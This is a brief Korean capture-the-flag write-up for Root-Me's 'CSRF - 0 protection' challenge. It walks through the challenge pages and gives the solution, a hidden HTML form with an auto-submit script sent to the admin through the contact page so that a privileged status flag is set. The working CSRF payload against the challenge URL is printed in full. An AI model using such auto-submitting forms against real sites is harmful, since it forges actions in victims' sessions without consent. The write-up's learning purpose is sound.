Search

[rootme] CSRF - 0 protection

Tags
writeup
date
2022/01/07 12:50
Property
2022/01/07 12:50

1. 문제

1) 문제 확인
상단메뉴를 보면 로그인, 회원가입 탭이 존재한다. 우선 회원가입을 해보자
로그인을 하면, 유저 프로필이 나온다. 상단 메뉴에는 Contact, 프로필, private, 로그아웃 이렇게 4개가 존재한다. 유저 프로필의 status 체크박스는 disabled 된 상태여서 체크가 안눌린다.
Private를 누르면 해당 계정은 유효한 계정이 아니라고 나온다. 먼가 수상하다. 여기를 어떻게 읽을지 생각해보자
contact을 누르면, 관리자에게 이메일을 보낼수가 있다. 여기서 csrf를 이용하면 될것같다.

2. 접근방법

profile 소스코드
profile 탭 소스코드를 살펴보면, form 태그안에 disabed된 checkbox가 보인다. contact 메뉴에서 form 태그를 수정하여 disabled 를 없앤뒤, script 태그를 이용하여 관리자가 해당 글을 클릭할시, form 태그가 실행되게 하면, 현재 로그인 되어있는 내 계정으로 온 글이기 때문에, 신뢰된 사용자라고 생각하여 해당 스크립트가 실행될 것이다

3. 풀이

<form id="test" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="1123"> <input type="checkbox" name="status" checked> </form> <script>document.getElementById("test").submit()</script>
HTML
복사
요렇게 contact에 입력하고 쫌 기다렸다가 private를 누르면
짜잔

4. 몰랐던 개념

js로 form 제출하기
document.getElementById("").submit()
onlick()으로 해결해도 되는 듯